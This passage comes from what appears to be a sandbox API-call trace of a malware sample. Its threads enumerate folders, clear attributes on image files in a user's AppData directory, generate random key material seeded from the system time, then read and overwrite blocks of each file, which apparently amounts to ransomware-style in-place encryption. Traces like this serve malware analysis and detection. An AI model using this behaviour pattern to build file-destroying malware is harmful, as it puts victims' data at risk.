0x2b2729cd [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x34f86e6e [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x5014b79c [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x780d4f42 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x7a6c1245 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x4b9a2502 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x326c4cf7 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x3068cb7e [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x55fc3c26 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x322ce7d3 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x637c362 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x6ebfa63 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x2f2fc930 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x7804fa9f [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x383dc2f8 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x35417045 [0064.802] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x7462965e [0064.803] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x2700b333 [0064.803] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x75236f3e [0064.803] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x12a8720e [0064.803] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x43fc9199 [0064.803] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x7b2e573c [0064.803] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x7a60a1ba [0064.803] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x5e0b7d9e [0064.803] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x6b6a87fa [0064.803] RtlRandomEx (in: Seed=0xa1ffe60 | out: Seed=0xa1ffe60) returned 0x7a65d909 [0064.818] SetFilePointerEx (in: hFile=0x13d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.818] ReadFile (in: hFile=0x13d0, lpBuffer=0x12ee6820, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa1ffe34, lpOverlapped=0x0 | out: lpBuffer=0x12ee6820*, lpNumberOfBytesRead=0xa1ffe34*=0xc800, lpOverlapped=0x0) returned 1 [0064.818] SetFilePointerEx (in: hFile=0x13d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.818] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c870 [0064.818] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed51c0 [0064.819] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9160 [0064.819] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9160) returned 1 [0064.820] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12ef3028 [0064.821] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9160 [0064.821] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8c88 [0064.821] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8c88) returned 1 [0064.821] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed51c0) returned 1 [0064.821] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c870) returned 1 [0064.821] WriteFile (hFile=0x13d0, lpBuffer=0x12ef3028, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa1ffe34, lpOverlapped=0x0) Thread: id = 426 os_tid = 0xd90 [0048.873] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\M2Te.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\m2te.bmp")) returned 0x2020 [0048.873] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\M2Te.bmp", dwFileAttributes=0x20) returned 1 [0064.672] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\M2Te.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\m2te.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13b8 [0064.672] GetFileSizeEx (in: hFile=0x13b8, lpFileSize=0xa2bff20 | out: lpFileSize=0xa2bff20*=73304) returned 1 [0064.672] SetFilePointerEx (in: hFile=0x13b8, liDistanceToMove=0x11e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.672] ReadFile (in: hFile=0x13b8, lpBuffer=0xa2bfea4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa2bfea0, lpOverlapped=0x0 | out: lpBuffer=0xa2bfea4*, lpNumberOfBytesRead=0xa2bfea0*=0x4, lpOverlapped=0x0) returned 1 [0064.673] SetFilePointerEx (in: hFile=0x13b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.673] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9760 [0064.673] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9620 [0064.673] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9710 [0064.673] NtQuerySystemTime (in: CurrentTime=0xa2bfe80 | out: CurrentTime=0xa2bfe80*=132174898286544000) returned 0x0 [0064.673] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x30649507 [0064.673] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x2ed14cc3 [0064.673] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x2d5a5cae [0064.673] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0xa7d35a9 [0064.673] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x633c3e0c [0064.673] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x532719f [0064.673] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0xb933ba6 [0064.673] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0xd7bf587 [0064.673] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x6200876e [0064.673] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x5efec88e [0064.673] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x5c59f553 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x35489a07 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x4a236774 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x981294e [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x3b9e3562 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x3da1b191 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x22740295 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x18ed853f [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x66a66d23 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x6a0986bd [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x6459fc74 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x24602c91 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x5c3a2de [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x2f296595 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x249c0f5b [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x50be4783 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x14c027ac [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x586240be [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x5a386636 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x13a0fc2 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0xc9ca7f7 [0064.674] RtlRandomEx (in: Seed=0xa2bfe8c | out: Seed=0xa2bfe8c) returned 0x6bcf6a35 [0064.687] SetFilePointerEx (in: hFile=0x13b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.687] ReadFile (in: hFile=0x13b8, lpBuffer=0x1974d9e0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa2bfe60, lpOverlapped=0x0 | out: lpBuffer=0x1974d9e0*, lpNumberOfBytesRead=0xa2bfe60*=0xc800, lpOverlapped=0x0) returned 1 [0064.687] SetFilePointerEx (in: hFile=0x13b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.687] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c900 [0064.687] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5d78 [0064.687] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9760 [0064.687] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9760) returned 1 [0064.688] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x1975a1e8 [0064.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9760 [0064.689] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9710 [0064.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9710) returned 1 [0064.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5d78) returned 1 [0064.689] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c900) returned 1 [0064.689] WriteFile (hFile=0x13b8, lpBuffer=0x1975a1e8, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa2bfe60, lpOverlapped=0x0) Thread: id = 427 os_tid = 0xd94 [0048.873] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45e138 [0048.874] wcscpy (in: _Dest=0x45e138, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia" [0048.874] wcscat (in: _Dest=0x45e138, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\" [0048.874] wcscat (in: _Dest=0x45e138, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*" [0048.874] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x459c98 [0048.874] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\*", lpFindFileData=0x459c98 | out: lpFindFileData=0x459c98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440420 [0048.874] wcscmp (_String1=".", _String2=".") returned 0 [0048.874] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x459c98 | out: lpFindFileData=0x459c98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x6b695060, ftLastAccessTime.dwHighDateTime=0x1d2dda5, ftLastWriteTime.dwLowDateTime=0x6b695060, ftLastWriteTime.dwHighDateTime=0x1d2dda5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.874] wcscmp (_String1="..", _String2=".") returned 1 [0048.874] wcscmp (_String1="..", _String2="..") returned 0 [0048.874] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x459c98 | out: lpFindFileData=0x459c98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 1 [0048.874] wcscmp (_String1="Flash Player", _String2=".") returned 1 [0048.874] wcscmp (_String1="Flash Player", _String2="..") returned 1 [0048.874] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x4ef800 [0048.874] wcscpy (in: _Dest=0x4ef800, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia" [0048.874] wcscat (in: _Dest=0x4ef800, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\" [0048.875] wcscat (in: _Dest=0x4ef800, _Source="Flash Player" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Macromedia\\Flash Player" [0049.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4ef800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0049.367] FindNextFileW (in: hFindFile=0x440420, lpFindFileData=0x459c98 | out: lpFindFileData=0x459c98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b695060, ftCreationTime.dwHighDateTime=0x1d2dda5, ftLastAccessTime.dwLowDateTime=0x1d4582b0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1d4582b0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flash Player", cAlternateFileName="FLASHP~1")) returned 0 [0049.367] FindClose (in: hFindFile=0x440420 | out: hFindFile=0x440420) returned 1 [0049.367] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459c98) returned 1 [0049.367] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45e138) returned 1 [0049.367] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x400a98) returned 1 Thread: id = 428 os_tid = 0xd98 [0048.875] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MU K1Acd_mkZZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mu k1acd_mkzz.png")) returned 0x2020 [0048.875] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MU K1Acd_mkZZ.png", dwFileAttributes=0x20) returned 1 [0064.689] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\MU K1Acd_mkZZ.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mu k1acd_mkzz.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13bc [0064.690] GetFileSizeEx (in: hFile=0x13bc, lpFileSize=0xa40fc3c | out: lpFileSize=0xa40fc3c*=64292) returned 1 [0064.690] SetFilePointerEx (in: hFile=0x13bc, liDistanceToMove=0xfb20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.690] ReadFile (in: hFile=0x13bc, lpBuffer=0xa40fbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa40fbbc, lpOverlapped=0x0 | out: lpBuffer=0xa40fbc0*, lpNumberOfBytesRead=0xa40fbbc*=0x4, lpOverlapped=0x0) returned 1 [0064.691] SetFilePointerEx (in: hFile=0x13bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.691] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9710 [0064.691] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9788 [0064.691] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9698 [0064.691] NtQuerySystemTime (in: CurrentTime=0xa40fb9c | out: CurrentTime=0xa40fb9c*=132174898286700000) returned 0x0 [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x1599deb2 [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x3f4bf3c2 [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x1b3e900f [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x170ca97b [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x2fc93516 [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x1750fe78 [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x6d06eb58 [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x6d542eac [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x3a33a6bf [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x6da9e02c [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x5083276d [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x647283f9 [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x33505584 [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x18978082 [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x2f2d42d5 [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x20ef0c1e [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x1cfc3064 [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x7aa7344c [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0xac73b25 [0064.691] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0xa1e902f [0064.692] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x764498b7 [0064.692] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x5e00738f [0064.692] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x2f16db43 [0064.692] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x79d3ba11 [0064.692] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x3b12bc28 [0064.692] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x641256ed [0064.692] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x10d0ac1c [0064.692] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x529ef882 [0064.692] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x32601ce0 [0064.692] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0xf106d0f [0064.692] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0x9b86bdc [0064.692] RtlRandomEx (in: Seed=0xa40fba8 | out: Seed=0xa40fba8) returned 0xb6c7029 [0064.704] SetFilePointerEx (in: hFile=0x13bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.704] ReadFile (in: hFile=0x13bc, lpBuffer=0x197669f0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xa40fb7c, lpOverlapped=0x0 | out: lpBuffer=0x197669f0*, lpNumberOfBytesRead=0xa40fb7c*=0xc800, lpOverlapped=0x0) returned 1 [0064.704] SetFilePointerEx (in: hFile=0x13bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.704] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c900 [0064.704] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed5d78 [0064.704] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9710 [0064.704] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9710) returned 1 [0064.705] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19597830 [0064.710] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9710 [0064.710] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9698 [0064.710] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9698) returned 1 [0064.710] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed5d78) returned 1 [0064.710] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c900) returned 1 [0064.710] WriteFile (hFile=0x13bc, lpBuffer=0x19597830, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xa40fb7c, lpOverlapped=0x0) Thread: id = 429 os_tid = 0xd9c [0048.875] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NJ8GIWY4aa.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\nj8giwy4aa.bmp")) returned 0x2020 [0048.875] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NJ8GIWY4aa.bmp", dwFileAttributes=0x20) returned 1 [0064.779] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\NJ8GIWY4aa.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\nj8giwy4aa.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13cc [0064.780] GetFileSizeEx (in: hFile=0x13cc, lpFileSize=0xa4ffb10 | out: lpFileSize=0xa4ffb10*=50523) returned 1 [0064.780] SetFilePointerEx (in: hFile=0x13cc, liDistanceToMove=0xc557, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.780] ReadFile (in: hFile=0x13cc, lpBuffer=0xa4ffa94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa4ffa90, lpOverlapped=0x0 | out: lpBuffer=0xa4ffa94*, lpNumberOfBytesRead=0xa4ffa90*=0x4, lpOverlapped=0x0) returned 1 [0064.781] SetFilePointerEx (in: hFile=0x13cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.781] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9160 [0064.781] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8d78 [0064.781] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8a30 [0064.781] NtQuerySystemTime (in: CurrentTime=0xa4ffa70 | out: CurrentTime=0xa4ffa70*=132174898287636000) returned 0x0 [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x125014d1 [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x6c8d9573 [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0xf4d77af [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0xdfab318 [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x7b7c816e [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x2c43d52d [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x6c7df2ec [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x20c49dc6 [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x22b495c8 [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x664d3667 [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x63a289f8 [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0xd316ab7 [0064.781] RtlRandomEx (in: Seed=0xa4ffa7c | out: Seed=0xa4ffa7c) returned 0x11ff6e5a [0064.781] RtlRandomEx (in: 